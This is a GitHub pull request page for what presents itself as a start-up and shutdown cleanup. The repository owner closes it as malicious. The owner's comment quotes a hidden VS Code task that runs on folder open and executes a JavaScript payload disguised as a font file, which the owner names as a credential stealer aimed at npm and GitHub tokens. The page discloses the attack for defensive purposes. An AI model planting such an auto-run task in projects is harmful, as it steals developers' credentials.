Skip to content

fix: tidy start-up error handling and graceful shutdown drain - #266

Closed
Richard-tobi wants to merge 2 commits into
Miracle656:mainfrom
Richard-tobi:fix/issue-207-tidy-start-up-and-shut-down-r2
Closed

Richard-tobi wants to merge 2 commits into
Miracle656:mainfrom
Richard-tobi:fix/issue-207-tidy-start-up-and-shut-down-r2

Conversation

@Richard-tobi

Copy link
Copy Markdown

Overview

This PR tidies start-up and shut-down in src/index.ts: start-up failures now exit non-zero with a legible message, the duplicated SKIP_INDEXER check is reduced to a single reachable branch, and shutdown() now closes the HTTP server and drains in-flight requests under a bounded timeout so Render's SIGTERM does not drop live traffic.

Related Issue

Changes

🧹 Start-up and shut-down tidy-up

  • [MODIFY] src/index.ts

    • Attach a .catch to the main() invocation so a start-up failure logs a clear message naming the cause and exits with a non-zero code instead of surfacing as an unhandled rejection.
    • Remove the duplicated SKIP_INDEXER check and the unreachable second branch, leaving a single reachable check.
    • shutdown() now calls server.close() and waits for in-flight requests to drain, bounded by a timeout so a stuck request cannot block shutdown indefinitely.
  • [ADD] src/__tests__/shutdown.test.ts

    • Jest coverage for the drain path (in-flight request completes before shutdown resolves) and the timeout path (a stuck request does not block shutdown past the bound).

Verification Results

npm test -- src/__tests__/shutdown.test.ts
✅ shutdown drain and timeout cases pass
Acceptance Criteria Status
A start-up failure exits non-zero with a message naming the cause ✅ main() rejection is caught, logged with the cause, and exits non-zero
Only one SKIP_INDEXER check remains, and it is reachable ✅ Duplicate/unreachable branch removed
SIGTERM drains in-flight requests, bounded by a timeout ✅ server.close() awaited with a timeout guard
A test covers the drain and the timeout ✅ src/__tests__/shutdown.test.ts

Closes #207

@Miracle656

Copy link
Copy Markdown
Owner

Closed as malicious.

This PR adds .vscode/tasks.json containing:

"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''",
"runOptions": { "runOn": "folderOpen" },
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true }

That runs node against public/fonts/fa-solid-500.woff2 — a JavaScript payload disguised as a font file — automatically when the folder is opened in VS Code, hidden, with output suppressed. It is the PolinRider credential stealer, and it targets npm, registry and GitHub tokens.

This is the same payload in the same shape as #198, #214 and #258, all closed for the same reason.

No review of the stated change was performed and none will be. Reported to GitHub.

@Miracle656 Miracle656 closed this Oct 20, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Tidy start-up and shut-down

3 participants